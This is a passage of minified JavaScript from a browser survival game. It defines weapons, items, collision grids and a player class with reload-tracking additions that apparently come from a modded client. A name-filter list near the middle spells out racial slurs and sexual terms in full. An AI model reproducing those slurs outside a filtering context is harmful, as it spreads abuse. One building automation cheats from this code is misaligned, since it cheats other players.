3, name: "katana", desc: "greater range and damage", src: "samurai_1", iPad: 1.3, length: 130, width: 210, xOff: -8, yOff: 59, dmg: 40, spdMult: 0.8, range: 118, gather: 1, speed: 300}, {id: 5, type: 0, age: 2, name: "polearm", desc: "long range melee weapon", src: "spear_1", iPad: 1.3, length: 130, width: 210, xOff: -8, yOff: 53, dmg: 45, knock: 0.2, spdMult: 0.82, range: 142, gather: 1, speed: 700}, {id: 6, type: 0, age: 2, name: "bat", desc: "fast long range melee weapon", src: "bat_1", iPad: 1.3, length: 110, width: 180, xOff: -8, yOff: 53, dmg: 20, knock: 0.7, range: 110, gather: 1, speed: 300}, {id: 7, type: 0, age: 2, name: "daggers", desc: "really fast short range weapon", src: "dagger_1", iPad: 0.8, length: 110, width: 110, xOff: 18, yOff: 0, dmg: 20, knock: 0.1, range: 65, gather: 1, hitSlow: 0.1, spdMult: 1.13, speed: 100}, {id: 8, type: 0, age: 2, name: "stick", desc: "great for gathering but very weak", src: "stick_1", length: 140, width: 140, xOff: 3, yOff: 24, dmg: 1, spdMult: 1, range: 70, gather: 7, speed: 400}, {id: 9, type: 1, age: 6, name: "hunting bow", desc: "bow used for ranged combat and hunting", src: "bow_1", req: ["wood", 4], length: 120, width: 120, xOff: -6, yOff: 0, projectile: 0, spdMult: 0.75, speed: 600}, {id: 10, type: 1, age: 6, name: "great hammer", desc: "hammer used for destroying structures", src: "great_hammer_1", length: 140, width: 140, xOff: -9, yOff: 25, dmg: 10, spdMult: 0.88, range: 75, sDmg: 7.5, gather: 1, speed: 400}, {id: 11, type: 1, age: 6, name: "wooden shield", desc: "blocks projectiles and reduces melee damage", src: "shield_1", length: 120, width: 120, shield: 0.2, speed: 111, xOff: 6, yOff: 0, spdMult: 0.7}, {id: 12, type: 1, age: 8, pre: 9, name: "crossbow", desc: "deals more damage and has greater range", src: "crossbow_1", req: ["wood", 5], aboveHand: !0, armS: 0.75, length: 120, width: 120, xOff: -4, yOff: 0, projectile: 2, spdMult: 0.7, speed: 700}, {id: 13, type: 1, age: 9, pre: 12, name: "repeater crossbow", desc: "high firerate crossbow with reduced damage", src: "crossbow_2", req: ["wood", 10], aboveHand: !0, armS: 0.75, length: 120, width: 120, xOff: -4, yOff: 0, projectile: 3, spdMult: 0.7, speed: 230}, {id: 14, type: 1, age: 6, name: "mc grabby", desc: "steals resources from enemies", src: "grab_1", length: 130, width: 210, xOff: -8, yOff: 53, dmg: 0, steal: 250, knock: 0.2, spdMult: 1.05, range: 125, gather: 0, speed: 700}, {id: 15, type: 1, age: 9, pre: 12, name: "musket", desc: "slow firerate but high damage and range", src: "musket_1", req: ["stone", 10], aboveHand: !0, rec: 0.35, armS: 0.6, hndS: 0.3, hndD: 1.6, length: 205, width: 205, xOff: 25, yOff: 0, projectile: 5, hideProjectile: !0, spdMult: 0.6, speed: 1500}], y.exports.list = [{group: y.exports.groups[0], name: "apple", desc: "restores 20 health when consumed", req: ["food", 10], consume: function (J) {
  4479. return J.changeHealth(20, J);
  4480. }, scale: 22, holdOffset: 15}, {age: 3, group: y.exports.groups[0], name: "cookie", desc: "restores 40 health when consumed", req: ["food", 15], consume: function (J) {
  4481. return J.changeHealth(40, J);
  4482. }, scale: 27, holdOffset: 15}, {age: 7, group: y.exports.groups[0], name: "cheese", desc: "restores 30 health and another 50 over 5 seconds", req: ["food", 25], consume: function (J) {
  4483. return !!(J.changeHealth(30, J) || J.health < 100) && (J.dmgOverTime.dmg = -10, J.dmgOverTime.doer = J, J.dmgOverTime.time = 5, !0);
  4484. }, scale: 27, holdOffset: 15}, {group: y.exports.groups[1], name: "wood wall", desc: "provides protection for your village", req: ["wood", 10], projDmg: !0, health: 380, scale: 50, holdOffset: 20, placeOffset: -5}, {age: 3, group: y.exports.groups[1], name: "stone wall", desc: "provides improved protection for your village", req: ["stone", 25], health: 900, scale: 50, holdOffset: 20, placeOffset: -5}, {age: 7, pre: 1, group: y.exports.groups[1], name: "castle wall", desc: "provides powerful protection for your village", req: ["stone", 35], health: 1500, scale: 52, holdOffset: 20, placeOffset: -5}, {group: y.exports.groups[2], name: "spikes", desc: "damages enemies when they touch them", req: ["wood", 20, "stone", 5], health: 400, dmg: 20, scale: 49, spritePadding: -23, holdOffset: 8, placeOffset: -5}, {age: 5, group: y.exports.groups[2], name: "greater spikes", desc: "damages enemies when they touch them", req: ["wood", 30, "stone", 10], health: 500, dmg: 35, scale: 52, spritePadding: -23, holdOffset: 8, placeOffset: -5}, {age: 9, pre: 1, group: y.exports.groups[2], name: "poison spikes", desc: "poisons enemies when they touch them", req: ["wood", 35, "stone", 15], health: 600, dmg: 30, pDmg: 5, scale: 52, spritePadding: -23, holdOffset: 8, placeOffset: -5}, {age: 9, pre: 2, group: y.exports.groups[2], name: "spinning spikes", desc: "damages enemies when they touch them", req: ["wood", 30, "stone", 20], health: 500, dmg: 45, turnSpeed: 0.003, scale: 52, spritePadding: -23, holdOffset: 8, placeOffset: -5}, {group: y.exports.groups[3], name: "windmill", desc: "generates gold over time", req: ["wood", 50, "stone", 10], health: 400, pps: 1, spritePadding: 25, iconLineMult: 12, scale: 45, holdOffset: 20, placeOffset: 5}, {age: 5, pre: 1, group: y.exports.groups[3], name: "faster windmill", desc: "generates more gold over time", req: ["wood", 60, "stone", 20], health: 500, pps: 1.5, spritePadding: 25, iconLineMult: 12, scale: 47, holdOffset: 20, placeOffset: 5}, {age: 8, pre: 1, group: y.exports.groups[3], name: "power mill", desc: "generates more gold over time", req: ["wood", 100, "stone", 50], health: 800, pps: 2, spritePadding: 25, iconLineMult: 12, scale: 47, holdOffset: 20, placeOffset: 5}, {age: 5, group: y.exports.groups[4], type: 2, name: "mine", desc: "allows you to mine stone", req: ["wood", 20, "stone", 100], iconLineMult: 12, scale: 65, holdOffset: 20, placeOffset: 0}, {age: 5, group: y.exports.groups[11], type: 0, name: "sapling", desc: "allows you to farm wood", req: ["wood", 150], iconLineMult: 12, colDiv: 0.5, scale: 110, holdOffset: 50, placeOffset: -15}, {age: 4, group: y.exports.groups[5], name: "pit trap", desc: "pit that traps enemies if they walk over it", req: ["wood", 30, "stone", 30], trap: !0, ignoreCollision: !0, hideFromEnemy: !0, health: 500, colDiv: 0.2, scale: 50, holdOffset: 20, placeOffset: -5}, {age: 4, group: y.exports.groups[6], name: "boost pad", desc: "provides boost when stepped on", req: ["stone", 20, "wood", 5], ignoreCollision: !0, boostSpeed: 1.5, health: 150, colDiv: 0.7, scale: 45, holdOffset: 20, placeOffset: -5}, {age: 7, group: y.exports.groups[7], doUpdate: !0, name: "turret", desc: "defensive structure that shoots at enemies", req: ["wood", 200, "stone", 150], health: 800, projectile: 1, shootRange: 700, shootRate: 2200, scale: 43, holdOffset: 20, placeOffset: -5}, {age: 7, group: y.exports.groups[8], name: "platform", desc: "platform to shoot over walls and cross over water", req: ["wood", 20], ignoreCollision: !0, zIndex: 1, health: 300, scale: 43, holdOffset: 20, placeOffset: -5}, {age: 7, group: y.exports.groups[9], name: "healing pad", desc: "standing on it will slowly heal you", req: ["wood", 30, "food", 10], ignoreCollision: !0, healCol: 15, health: 400, colDiv: 0.7, scale: 45, holdOffset: 20, placeOffset: -5}, {age: 9, group: y.exports.groups[10], name: "spawn pad", desc: "you will spawn here when you die but it will dissapear", req: ["wood", 100, "stone", 100], health: 400, ignoreCollision: !0, spawnPoint: !0, scale: 45, holdOffset: 20, placeOffset: -5}, {age: 7, group: y.exports.groups[12], name: "blocker", desc: "blocks building in radius", req: ["wood", 30, "stone", 25], ignoreCollision: !0, blocker: 300, health: 400, colDiv: 0.7, scale: 45, holdOffset: 20, placeOffset: -5}, {age: 7, group: y.exports.groups[13], name: "teleporter", desc: "teleports you to a random point on the map", req: ["wood", 60, "stone", 60], ignoreCollision: !0, teleport: !0, health: 200, colDiv: 0.7, scale: 45, holdOffset: 20, placeOffset: -5}];
  4485. for (var d = 0; d < y.exports.list.length; ++d) y.exports.list[d].id = d, y.exports.list[d].pre && (y.exports.list[d].pre = d - y.exports.list[d].pre);
  4486. }, function (y, V) {
  4487. y.exports = {};
  4488. }, function (y, V) {
  4489. var d = Math.floor, J = Math.abs, T = Math.cos, c = Math.sin, L = (Math.pow, Math.sqrt);
  4490. y.exports = function (U, G, q, P, H, N) {
  4491. var X, F;
  4492. this.objects = G, this.grids = {}, this.updateObjects = [];
  4493. var Z = P.mapScale / P.colGrid;
  4494. this.setObjectGrids = function (I) {
  4495. for (var M = Math.min(P.mapScale, Math.max(0, I.x)), K = Math.min(P.mapScale, Math.max(0, I.y)), w = 0; w < P.colGrid; ++w) {
  4496. X = w * Z;
  4497. for (var R = 0; R < P.colGrid; ++R) F = R * Z, M + I.scale >= X && M - I.scale <= X + Z && K + I.scale >= F && K - I.scale <= F + Z && (this.grids[w + "_" + R] || (this.grids[w + "_" + R] = []), this.grids[w + "_" + R].push(I), I.gridLocations.push(w + "_" + R));
  4498. }
  4499. }, this.removeObjGrid = function (I) {
  4500. for (var M, K = 0; K < I.gridLocations.length; ++K) (M = this.grids[I.gridLocations[K]].indexOf(I)) >= 0 && this.grids[I.gridLocations[K]].splice(M, 1);
  4501. }, this.disableObj = function (I) {
  4502. if (I.active = !1, N) {
  4503. I.owner && I.pps && (I.owner.pps -= I.pps), this.removeObjGrid(I);
  4504. var M = this.updateObjects.indexOf(I);
  4505. M >= 0 && this.updateObjects.splice(M, 1);
  4506. }
  4507. }, this.hitObj = function (I, M) {
  4508. for (var K = 0; K < H.length; ++K) H[K].active && (I.sentTo[H[K].id] && (I.active ? H[K].canSee(I) && N.send(H[K].id, "8", q.fixTo(M, 1), I.sid) : N.send(H[K].id, "12", I.sid)), I.active || I.owner != H[K] || H[K].changeItemCount(I.group.id, -1));
  4509. };
  4510. var z, O, E = [];
  4511. this.getGridArrays = function (I, M, K) {
  4512. X = d(I / Z), F = d(M / Z), E.length = 0;
  4513. try {
  4514. this.grids[X + "_" + F] && E.push(this.grids[X + "_" + F]), I + K >= (X + 1) * Z && ((z = this.grids[X + 1 + "_" + F]) && E.push(z), F && M - K <= F * Z ? (z = this.grids[X + 1 + "_" + (F - 1)]) && E.push(z) : M + K >= (F + 1) * Z && (z = this.grids[X + 1 + "_" + (F + 1)]) && E.push(z)), X && I - K <= X * Z && ((z = this.grids[X - 1 + "_" + F]) && E.push(z), F && M - K <= F * Z ? (z = this.grids[X - 1 + "_" + (F - 1)]) && E.push(z) : M + K >= (F + 1) * Z && (z = this.grids[X - 1 + "_" + (F + 1)]) && E.push(z)), M + K >= (F + 1) * Z && (z = this.grids[X + "_" + (F + 1)]) && E.push(z), F && M - K <= F * Z && (z = this.grids[X + "_" + (F - 1)]) && E.push(z);
  4515. } catch (w) {}
  4516. return E;
  4517. }, this.add = function (I, M, K, w, R, v, S, A, Y) {
  4518. O = null;
  4519. for (var b = 0; b < G.length; ++b) if (G[b].sid == I) {
  4520. O = G[b];
  4521. break;
  4522. }
  4523. if (!O) for (b = 0; b < G.length; ++b) if (!G[b].active) {
  4524. O = G[b];
  4525. break;
  4526. }
  4527. O || (O = new U(I), G.push(O)), A && (O.sid = I), O.init(M, K, w, R, v, S, Y), N && (this.setObjectGrids(O), O.doUpdate && this.updateObjects.push(O));
  4528. }, this.disableBySid = function (I) {
  4529. for (var M = 0; M < G.length; ++M) if (G[M].sid == I) {
  4530. this.disableObj(G[M]);
  4531. break;
  4532. }
  4533. }, this.removeAllItems = function (I, M) {
  4534. for (var K = 0; K < G.length; ++K) G[K].active && G[K].owner && G[K].owner.sid == I && this.disableObj(G[K]);
  4535. M && M.broadcast("13", I);
  4536. }, this.fetchSpawnObj = function (I) {
  4537. for (var M = null, K = 0; K < G.length; ++K) if ((O = G[K]).active && O.owner && O.owner.sid == I && O.spawnPoint) {
  4538. M = [O.x, O.y], this.disableObj(O), N.broadcast("12", O.sid), O.owner && O.owner.changeItemCount(O.group.id, -1);
  4539. break;
  4540. }
  4541. return M;
  4542. }, this.checkItemLocation = function (I, M, K, w, R, v, S) {
  4543. for (var A = 0; A < G.length; ++A) {
  4544. var Y = G[A].blocker ? G[A].blocker : G[A].getScale(w, G[A].isItem);
  4545. if (G[A].active && q.getDistance(I, M, G[A].x, G[A].y) < K + Y) return !1;
  4546. }
  4547. return !(!v && 18 != R && M >= P.mapScale / 2 - P.riverWidth / 2 && M <= P.mapScale / 2 + P.riverWidth / 2);
  4548. }, this.addProjectile = function (I, M, K, w, R) {
  4549. for (var v, S = items.projectiles[R], A = 0; A < projectiles.length; ++A) if (!projectiles[A].active) {
  4550. v = projectiles[A];
  4551. break;
  4552. }
  4553. v || (v = new Projectile(H, q), projectiles.push(v)), v.init(R, I, M, K, S.speed, w, S.scale);
  4554. }, this.checkCollision = function (I, M, K) {
  4555. K = K || 1;
  4556. var w = I.x - M.x, R = I.y - M.y, v = I.scale + M.scale;
  4557. if (J(w) <= v || J(R) <= v) {
  4558. v = I.scale + (M.getScale ? M.getScale() : M.scale);
  4559. var S = L(w * w + R * R) - v;
  4560. if (S <= 0) {
  4561. if (M.ignoreCollision) !M.trap || I.noTrap || M.owner == I || M.owner && M.owner.team && M.owner.team == I.team ? M.boostSpeed ? (I.xVel += K * M.boostSpeed * (M.weightM || 1) * T(M.dir), I.yVel += K * M.boostSpeed * (M.weightM || 1) * c(M.dir)) : M.healCol ? I.healCol = M.healCol : M.teleport && (I.x = q.randInt(0, P.mapScale), I.y = q.randInt(0, P.mapScale)) : (I.lockMove = !0, M.hideFromEnemy = !1); else {
  4562. var A = q.getDirection(I.x, I.y, M.x, M.y);
  4563. if (q.getDistance(I.x, I.y, M.x, M.y), M.isPlayer ? (S = -1 * S / 2, I.x += S * T(A), I.y += S * c(A), M.x -= S * T(A), M.y -= S * c(A)) : (I.x = M.x + v * T(A), I.y = M.y + v * c(A), I.xVel *= 0.75, I.yVel *= 0.75), M.dmg && M.owner != I && (!M.owner || !M.owner.team || M.owner.team != I.team)) {
  4564. I.changeHealth(-M.dmg, M.owner, M);
  4565. var Y = 1.5 * (M.weightM || 1);
  4566. I.xVel += Y * T(A), I.yVel += Y * c(A), !M.pDmg || I.skin && I.skin.poisonRes || (I.dmgOverTime.dmg = M.pDmg, I.dmgOverTime.time = 5, I.dmgOverTime.doer = M.owner), I.colDmg && M.health && (M.changeHealth(-I.colDmg) && this.disableObj(M), this.hitObj(M, q.getDirection(I.x, I.y, M.x, M.y)));
  4567. }
  4568. }
  4569. return M.zIndex > I.zIndex && (I.zIndex = M.zIndex), !0;
  4570. }
  4571. }
  4572. return !1;
  4573. };
  4574. };
  4575. }, function (y, V, d) {
  4576. var J = new (d(49));
  4577. J.addWords("jew", "black", "baby", "child", "white", "porn", "pedo", "trump", "clinton", "hitler", "nazi", "gay", "pride", "sex", "pleasure", "touch", "poo", "kids", "rape", "white power", "nigga", "nig nog", "doggy", "rapist", "boner", "nigger", "nigg", "finger", "nogger", "nagger", "nig", "fag", "gai", "pole", "stripper", "penis", "vagina", "pussy", "nazi", "hitler", "stalin", "burn", "chamber", "cock", "peen", "dick", "spick", "nieger", "die", "satan", "n|ig", "nlg", "cunt", "c0ck", "fag", "lick", "condom", "anal", "shit", "phile", "little", "kids", "free KR", "tiny", "sidney", "ass", "kill", ".io", "(dot)", "[dot]", "mini", "whiore", "whore", "faggot", "github", "1337", "666", "satan", "senpa", "discord", "d1scord", "mistik", ".io", "senpa.io", "sidney", "sid", "senpaio", "vries", "asa");
  4578. var T = Math.abs, L = Math.cos, p = Math.sin, U = Math.pow, G = Math.sqrt;
  4579. y.exports = function (q, P, H, N, X, F, Z, z, O, E, I, M, K, R) {
  4580. this.id = q, this.sid = P, this.tmpScore = 0, this.team = null, this.skinIndex = 0, this.tailIndex = 0, this.hitTime = 0, this.tails = {};
  4581. for (var A = 0; A < I.length; ++A) I[A].price <= 0 && (this.tails[I[A].id] = 1);
  4582. for (this.skins = {}, A = 0; A < E.length; ++A) E[A].price <= 0 && (this.skins[E[A].id] = 1);
  4583. this.points = 0, this.dt = 0, this.hidden = !1, this.itemCounts = {}, this.isPlayer = !0, this.pps = 0, this.moveDir = void 0, this.skinRot = 0, this.lastPing = 0, this.iconIndex = 0, this.skinColor = 0, this.spawn = function (W) {
  4584. this.active = !0, this.alive = !0, this.lockMove = !1, this.lockDir = !1, this.minimapCounter = 0, this.chatCountdown = 0, this.shameCount = 0, this.shameTimer = 0, this.sentTo = {}, this.gathering = 0, this.autoGather = 0, this.animTime = 0, this.animSpeed = 0, this.mouseState = 0, this.buildIndex = -1, this.weaponIndex = 0, this.dmgOverTime = {}, this.noMovTimer = 0, this.maxXP = 300, this.XP = 0, this.age = 1, this.kills = 0, this.upgrAge = 2, this.upgradePoints = 0, this.x = 0, this.y = 0, this.zIndex = 0, this.xVel = 0, this.yVel = 0, this.slowMult = 1, this.dir = 0, this.dirPlus = 0, this.targetDir = 0, this.targetAngle = 0, this.maxHealth = 100, this.health = this.maxHealth, this.scale = H.playerScale, this.speed = H.playerSpeed, this.resetMoveDir(), this.resetResources(W), this.items = [0, 3, 6, 10], this.weapons = [0], this.shootCount = 0, this.weaponXP = [], this.reloads = {}, this.primary = {reload: 1, id: 0, variant: 0, reloadid: 0, dmg: 25}, this.secondary = {reload: 1, id: undefined, variant: 0, reloadid: 1, dmg: 50}, this.turret = 1, this.tracker = {heal: {lastChange: 0, tick: 0}}, this.bullTick = 0;
  4585. }, this.resetMoveDir = function () {
  4586. this.moveDir = void 0;
  4587. }, this.resetResources = function (W) {
  4588. for (var B = 0; B < H.resourceTypes.length; ++B) this[H.resourceTypes[B]] = W ? 100 : 0;
  4589. }, this.addItem = function (W) {
  4590. var B = O.list[W];
  4591. if (B) {
  4592. for (var j = 0; j < this.items.length; ++j) if (O.list[this.items[j]].group == B.group) return this.buildIndex == this.items[j] && (this.buildIndex = W), this.items[j] = W, !0;
  4593. return this.items.push(W), !0;
  4594. }
  4595. return !1;
  4596. }, this.setUserData = function (W) {
  4597. if (W) {
  4598. this.name = "unknown";
  4599. var B = W.name + "", j = !1, C = (B = (B = (B = (B = B.slice(0, H.maxNameLength)).replace(/[^\w:\(\)\/? -]+/gim, " ")).replace(/[^\x00-\x7F]/g, " ")).trim()).toLowerCase().replace(/\s/g, "").replace(/1/g, "i").replace(/0/g, "o").replace(/5/g, "s");
  4600. for (var y0 of J.list) if (-1 != C.indexOf(y0)) {
  4601. j = !0;
  4602. break;
  4603. }
  4604. B.length > 0 && !j && (this.name = B), this.skinColor = 0, H.skinColors[W.skin] && (this.skinColor = W.skin);
  4605. }
  4606. }, this.getData = function () {
  4607. return [this.id, this.sid, this.name, N.fixTo(this.x, 2), N.fixTo(this.y, 2), N.fixTo(this.dir, 3), this.health, this.maxHealth, this.scale, this.skinColor];
  4608. }, this.setData = function (W) {
  4609. this.id = W[0], this.sid = W[1], this.name = W[2], this.x = W[3], this.y = W[4], this.dir = W[5], this.health = W[6], this.maxHealth = W[7], this.scale = W[8], this.skinColor = W[9];
  4610. };
  4611. var Y = 0;
  4612. this.update = function (W) {
  4613. if (this.alive) {
  4614. if (this.weaponIndex < 9) {
  4615. if (this.primary.id == this.weaponIndex) {
  4616. this.primary.variant = this.weaponVariant;
  4617. this.primary.dmg = Math.round(window.weapons[this.weaponIndex].dmg * window.variantMulti(this.weaponVariant));
  4618. } else {
  4619. this.primary.reload = 1;
  4620. this.primary.id = this.weaponIndex;
  4621. if (!this.secondary.id && this.primary.id > 0) {
  4622. this.secondary.id = 15;
  4623. this.secondary.variant = 0;
  4624. this.secondary.dmg = 50;
  4625. }
  4626. }
  4627. } else {
  4628. if (this.secondary.id == this.weaponIndex) {
  4629. this.secondary.variant = this.weaponVariant;
  4630. if (this.weaponIndex == 10) {
  4631. this.secondary.dmg = Math.round(window.weapons[this.weaponIndex].dmg * window.variantMulti(this.weaponVariant));
  4632. } else {
  4633. this.secondary.dmg = window.secondaryDmg(this.weaponIndex);
  4634. }
  4635. } else {
  4636. this.secondary.reload = 1;
  4637. this.secondary.id = this.weaponIndex;
  4638. if (!this.primary.id) {
  4639. this.primary.id = 5;
  4640. this.primary.variant = 2;
  4641. this.primary.dmg = 45;
  4642. }
  4643. }
  4644. }
  4645. if (this.buildIndex == -1) {
  4646. if (this.weaponIndex < 9) {
  4647. if (this.primary.reloadid == this.weaponIndex) {
  4648. this.primary.reload = Math.min(this.primary.reload + 111 / (window.weapons[this.weaponIndex].speed * (this.primary.fastReload == !![] ? 0.78 : 1)), 1);
  4649. if (this.primary.fastReload == !![] && this.primary.reload == 1) {
  4650. this.primary.fastReload = ![];
  4651. }
  4652. } else {
  4653. this.primary.reloadid = this.weaponIndex;
  4654. this.secondary.id = 15;
  4655. this.secondary.variant = 0;
  4656. this.secondary.dmg = 50;
  4657. }
  4658. } else {
  4659. if (this.secondary.reloadid == this.weaponIndex) {
  4660. this.secondary.reload = Math.min(this.secondary.reload + 111 / (window.weapons[this.weaponIndex].speed * (this.secondary.fastReload == !![] ? 0.78 : 1)), 1);
  4661. if (this.secondary.fastReload == !![] && this.secondary.reload == 1) {
  4662. this.secondary.fastReload = ![];
  4663. }
  4664. } else {
  4665. this.secondary.reloadid = this.weaponIndex;
  4666. this.primary.id = 5;
  4667. this.primary.variant = 2;
  4668. this.primary.dmg = 45;
  4669. }
  4670. }
  4671. }
  4672. this.turret = Math.min(this.turret + 0.0444, 1);
  4673. }
  4674. }, this.addWeaponXP = function (W) {
  4675. this.weaponXP[this.weaponIndex] || (this.weaponXP[this.weaponIndex] = 0), this.weaponXP[this.weaponIndex] += W;
  4676. }, this.earnXP = function (W) {
  4677. this.age < H.maxAge && (this.XP += W, this.XP >= this.maxXP ? (this.age < H.maxAge ? (this.age++, this.XP = 0, this.maxXP *= 1.2) : this.XP = this.maxXP, this.upgradePoints++, M.send(this.id, "16", this.upgradePoints, this.upgrAge), M.send(this.id, "15", this.XP, N.fixTo(this.maxXP, 1), this.age)) : M.send(this.id, "15", this.XP));
  4678. }, this.changeHealth = function (W, B) {
  4679. if (W > 0 && this.health >= this.maxHealth) return !1;
  4680. W < 0 && this.skin && (W *= this.skin.dmgMult || 1), W < 0 && this.tail && (W *= this.tail.dmgMult || 1), W < 0 && (this.hitTime = Date.now()), this.health += W, this.health > this.maxHealth && (W -= this.health - this.maxHealth, this.health = this.maxHealth), this.health <= 0 && this.kill(B);
  4681. for (var j = 0; j < Z.length; ++j) this.sentTo[Z[j].id] && M.send(Z[j].id, "h", this.sid, Math.round(this.health));
  4682. return !B || !B.canSee(this) || B == this && W < 0 || M.send(B.id, "t", Math.round(this.x), Math.round(this.y), Math.round(-W), 1), !0;
  4683. }, this.kill = function (W) {
  4684. W && W.alive && (W.kills++, W.skin && W.skin.goldSteal ? K(W, Math.round(this.points / 2)) : K(W, Math.round(100 * this.age * (W.skin && W.skin.kScrM ? W.skin.kScrM : 1))), M.send(W.id, "9", "kills", W.kills, 1)), this.alive = !1, M.send(this.id, "11"), R();
  4685. }, this.addResource = function (W, B, j) {
  4686. !j && B > 0 && this.addWeaponXP(B), 3 == W ? K(this, B, !0) : (this[H.resourceTypes[W]] += B, M.send(this.id, "9", H.resourceTypes[W], this[H.resourceTypes[W]], 1));
  4687. }, this.changeItemCount = function (W, B) {
  4688. this.itemCounts[W] = this.itemCounts[W] || 0, this.itemCounts[W] += B, M.send(this.id, "14", W, this.itemCounts[W]);
  4689. }, this.buildItem = function () {
  4690. if (this.hitTime) {
  4691. let W = tick - this.hitTime;
  4692. this.hitTime = 0;
  4693. if (W < 2) {
  4694. this.shameCount++;
  4695. } else {
  4696. this.shameCount = Math.max(0, this.shameCount - 2);
  4697. }
  4698. }
  4699. }, this.hasRes = function (W, B) {
  4700. for (var j = 0; j < W.req.length;) {
  4701. if (this[W.req[j]] < Math.round(W.req[j + 1] * (B || 1))) return !1;
  4702. j += 2;
  4703. }
  4704. return !0;
  4705. }, this.useRes = function (W, B) {
  4706. if (!H.inSandbox) for (var j = 0; j < W.req.length;) this.addResource(H.resourceTypes.indexOf(W.req[j]), -Math.round(W.req[j + 1] * (B || 1))), j += 2;
  4707. }, this.canBuild = function (W) {
  4708. return !!H.inSandbox || !(W.group.limit && this.itemCounts[W.group.id] >= W.group.limit) && this.hasRes(W);
  4709. }, this.gather = function () {
  4710. this.noMovTimer = 0, this.slowMult -= O.weapons[this.weaponIndex].hitSlow || 0.3, this.slowMult < 0 && (this.slowMult = 0);
  4711. for (var W, B, j, C = H.fetchVariant(this), y0 = C.poison, y1 = C.val, y2 = {}, y3 = F.getGridArrays(this.x, this.y, O.weapons[this.weaponIndex].range), y4 = 0; y4 < y3.length; ++y4) for (var y5 = 0; y5 < y3[y4].length; ++y5) if ((B = y3[y4][y5]).active && !B.dontGather && !y2[B.sid] && B.visibleToPlayer(this) && N.getDistance(this.x, this.y, B.x, B.y) - B.scale <= O.weapons[this.weaponIndex].range && (W = N.getDirection(B.x, B.y, this.x, this.y), N.getAngleDist(W, this.dir) <= H.gatherAngle)) {
  4712. if (y2[B.sid] = 1, B.health) {
  4713. if (B.changeHealth(-O.weapons[this.weaponIndex].dmg * y1 * (O.weapons[this.weaponIndex].sDmg || 1) * (this.skin && this.skin.bDmg ? this.skin.bDmg : 1), this)) {
  4714. for (var y6 = 0; y6 < B.req.length;) this.addResource(H.resourceTypes.indexOf(B.req[y6]), B.req[y6 + 1]), y6 += 2;
  4715. F.disableObj(B);
  4716. }
  4717. } else {
  4718. this.earnXP(4 * O.weapons[this.weaponIndex].gather);
  4719. var y7 = O.weapons[this.weaponIndex].gather + (3 == B.type ? 4 : 0);
  4720. this.skin && this.skin.extraGold && this.addResource(3, 1), this.addResource(B.type, y7);
  4721. }
  4722. j = !0, F.hitObj(B, W);
  4723. }
  4724. for (y5 = 0; y5 < Z.length + z.length; ++y5) if ((B = Z[y5] || z[y5 - Z.length]) != this && B.alive && (!B.team || B.team != this.team) && N.getDistance(this.x, this.y, B.x, B.y) - 1.8 * B.scale <= O.weapons[this.weaponIndex].range && (W = N.getDirection(B.x, B.y, this.x, this.y), N.getAngleDist(W, this.dir) <= H.gatherAngle)) {
  4725. var y8 = O.weapons[this.weaponIndex].steal;
  4726. y8 && B.addResource && (y8 = Math.min(B.points || 0, y8), this.addResource(3, y8), B.addResource(3, -y8));
  4727. var y9 = y1;
  4728. null != B.weaponIndex && O.weapons[B.weaponIndex].shield && N.getAngleDist(W + Math.PI, B.dir) <= H.shieldAngle && (y9 = O.weapons[B.weaponIndex].shield);
  4729. var yy = O.weapons[this.weaponIndex].dmg * (this.skin && this.skin.dmgMultO ? this.skin.dmgMultO : 1) * (this.tail && this.tail.dmgMultO ? this.tail.dmgMultO : 1), yV = 0.3 * (B.weightM || 1) + (O.weapons[this.weaponIndex].knock || 0);
  4730. B.xVel += yV * L(W), B.yVel += yV * p(W), this.skin && this.skin.healD && this.changeHealth(yy * y9 * this.skin.healD, this), this.tail && this.tail.healD && this.changeHealth(yy * y9 * this.tail.healD, this), B.skin && B.skin.dmg && 1 == y9 && this.changeHealth(-yy * B.skin.dmg, B), B.tail && B.tail.dmg && 1 == y9 && this.changeHealth(-yy * B.tail.dmg, B), !(B.dmgOverTime && this.skin && this.skin.poisonDmg) || B.skin && B.skin.poisonRes || (B.dmgOverTime.dmg = this.skin.poisonDmg, B.dmgOverTime.time = this.skin.poisonTime || 1, B.dmgOverTime.doer = this), !B.dmgOverTime || !y0 || B.skin && B.skin.poisonRes || (B.dmgOverTime.dmg = 5, B.dmgOverTime.time = 5, B.dmgOverTime.doer = this), B.skin && B.skin.dmgK && (this.xVel -= B.skin.dmgK * L(W), this.yVel -= B.skin.dmgK * p(W)), B.changeHealth(-yy * y9, this, this);
  4731. }
  4732. this.sendAnimation(j ? 1 : 0);
  4733. }, this.sendAnimation = function (W) {
  4734. for (var B = 0; B < Z.length; ++B) this.sentTo[Z[B].id] && this.canSee(Z[B]) && M.send(Z[B].id, "7", this.sid, W ? 1 : 0, this.weaponIndex);
  4735. };
  4736. var Q = 0, D = 0;
  4737. this.animate = function (W) {
  4738. this.animTime > 0 && (this.animTime -= W, this.animTime <= 0 ? (this.animTime = 0, this.dirPlus = 0, Q = 0, D = 0) : 0 == D ? (Q += W / (this.animSpeed * H.hitReturnRatio), this.dirPlus = N.lerp(0, this.targetAngle, Math.min(1, Q)), Q >= 1 && (Q = 1, D = 1)) : (Q -= W / (this.animSpeed * (1 - H.hitReturnRatio)), this.dirPlus = N.lerp(0, this.targetAngle, Math.max(0, Q))));
  4739. }, this.startAnim = function (W, B) {
  4740. this.animTime = this.animSpeed = O.weapons[B].speed, this.targetAngle = W ? -H.hitAngle : -Math.PI, Q = 0, D = 0;
  4741. if (B > 9) {
  4742. setTimeout(() => {
  4743. this.secondary.reload = 0;
  4744. if (this.skinIndex == 20) {
  4745. this.secondary.fastReload = !![];
  4746. }
  4747. });
  4748. } else {
  4749. setTimeout(() => {
  4750. this.primary.reload = 0;
  4751. if (this.skinIndex == 20) {
  4752. this.primary.fastReload = ![];
  4753. }
  4754. });
  4755. }
  4756. }, this.canSee = function (W) {
  4757. if (!W) return !1;
  4758. if (W.skin && W.skin.invisTimer && W.noMovTimer >= W.skin.invisTimer) return !1;
  4759. var B = T(W.x - this.x) - W.scale, j = T(W.y - this.y) - W.scale;
  4760. return B <= H.maxScreenWidth / 2 * 1.3 && j <= H.maxScreenHeight / 2 * 1.3;
  4761. };
  4762. };
  4763. }, function (y, V, d) {
  4764. const J = d(50).words, T = d(51).array;
  4765. y.exports = class {
  4766. constructor(c = {}) {
